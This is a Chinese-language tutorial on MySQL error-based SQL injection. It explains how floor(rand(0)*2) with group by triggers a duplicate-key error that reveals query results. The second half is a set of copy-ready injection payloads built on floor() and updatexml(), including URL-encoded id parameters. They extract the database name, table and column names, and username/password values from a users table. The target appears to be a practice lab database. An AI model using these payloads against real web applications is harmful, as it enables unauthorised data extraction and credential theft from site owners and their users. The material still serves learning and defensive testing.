1. mysql的floor()报错注入方法详细分析
遇见了 select count( ) from table group by floor(rand(0) 2); 这么条语句。学习一定要弄明白的态度,在此做个总结。
首先,只要该语句明白了,那么类似
select count(*),(floor(rand(0)*2))x from table group by x;
这样的变形语句基本上都可以变通(这里只是起了个别名)。
基本的查询 select 不必多说,剩下的几个关键字有 count 、group by 、floor、rand。
rand(0)*2
rand() 可以产生一个在0和1之间的随机数。
可以观察到,这里对重复性数据进行了整合,然后计数。
重点来了,也就是在这个整合然后计数的过程中,中间发生了什么我们是必须要明白的。
经过网上查询,发现mysql遇到该语句时会建立一个虚拟表。该虚拟表有两个字段,一个是分组的
key
,一个是计数值
count(*)
。也就对应于上个截图中的 prod_price 和 count(
)。
然后
在查询数据的时候,首先查看该虚拟表中是否存在该分组,如果存在那么计数值加1,不存在则新建该分组。
*
先来解释一下count(*)与group by是如何共同工作的。首先,系统会建立一个虚拟表:
先来回顾一下
payload:
select count(*), floor(rand(0)*2) as a from information_schema.tables group by a;
总体是一个group by语句,只不过这里group by的是floor(rand(0)2)。这是一个表达式,每次运算的值都是随机的。还记得我刚刚说的floor(rand(0)2)的值序列开头是011011...吧?ok,下面开始运算。
首先,建立一张虚拟表:
undefined
继续进行group by。这是第四次floor运算了,根据刚刚那个011011序列,这次的值为0,在表中找是否有key为0的数据。当然没有,故应当插入一条新记录。在插入时进行floor运算(就像第一次group by那样),这时的值为1,并将count(*)置1。可是你会说,虚拟表中已经有了key为1的数据了啊。对,这就是问题所在了。此时就会抛出主键冗余的异常,也就是所谓的floor报错。
select count(*), concat((select database()), '-', floor(rand(0)*2)) as a from information_schema.tables group by a; #将select database()换成你想要的东西!~
rand()的特殊性
select count(*) from test group by floor(rand(0)*2);
而又因为 rand 函数的特殊性(如果使用rand()的话,该值会被计算多次)。
在这里的意思就是,group by 进行分组时,floor(rand(0)*2)
执行一次(查看分组是否存在),如果虚拟表中不存在该分组,那么在插入新分组的时候 floor(rand(0)*2)
就又计算了一次。(其实在上述 rand(0) 产生多个数据的时候,也能观察出来。只要 rand(0) 被调用,一定会产生新值)。
这样,所有的理论细节就全部明朗了。
还记得我们之前产生的疑问,为什么要用 floor(rand(0)*2
产生 0 和 1 这两个数吗?
floor(rand(0)*2
的作用就是产生预知的数字序列01101
,然后再利用 rand()
的特殊性和group by
的虚拟表,最终引起了报错。
利用floor()报错:
注入公式(Payload为自己想获取内容的脚本):
and(select 1 from (select count(*),concat(concat(payload),floor(rand(0)*2))x from information_schema.tables group by x)y)
and(select 1 from (select count(*),concat(concat(database(),0x7e),floor(rand(0)*2))x from information_schema.tables group by x)y)
and(select 1 from (select count(*),concat(concat((select concat(table_name) from information_schema.tables where table_schema="security" limit 3,1),0x7e),floor(rand(0)*2))x from information_schema.tables group by x)y)
//查询表
and(select 1 from (select count(*),concat(concat((select concat(column_name) from information_schema.columns where table_schema="security" and table_name="users" limit 1,1),0x7e),floor(rand(0)*2))x from information_schema.tables group by x)y)
//查询字段
and(select 1 from (select count(*),concat(concat((select concat(username,0x7e,password,0x7e) from security.users limit 1,1),0x7e),floor(rand(0)*2))x from information_schema.tables group by x)y)
//查询字段内容
2.xpath函数:
主要的两个函数:
Mysql5.1.5
updatexml():对xml进行查询和修改
extractvalue():对xml进行查询和修改
都是最大爆32位。
提示输出信息超过一行,说明这里数据库名组成的字符串长度超过了64位(group_concat()函数最大长度为64位),所以需要放弃group_concat()函数,而使用limit 0,1来一个个输出。
limit 0,1 表示输出第一个数据。 0表示输出的起始位置,1表示跨度为1(即输出几个数据,1表示输出一个,2就表示输出两个)
and updatexml(1,concat(0x7e,(payload),0x7e))
and updatexml(1,concat(0x7e,(select user()),0x7e),1)--+
//查询当前用户名
and updatexml(1,concat(0x7e,(select database()),0x7e),1)--+
//查询当前数据库名
and updatexml(1,concat(0x7e,(select schema_name from information_schema.schemata limit 0,1),0x7e),1)--+
//查询所有的数据库名称
id=1%27%20and%20updatexml(1,concat(0x7e,(select%20table_name%20from%20information_schema.tables%20where%20table_schema=database()%20limit%200,1),0x7e),1)%23
//查询表名
id=1%27%20and%20updatexml(1,concat(0x7e,(select%20column_name%20from%20information_schema.columns%20where%20table_name=%27users%27%20limit%200,1),0x7e),1)%23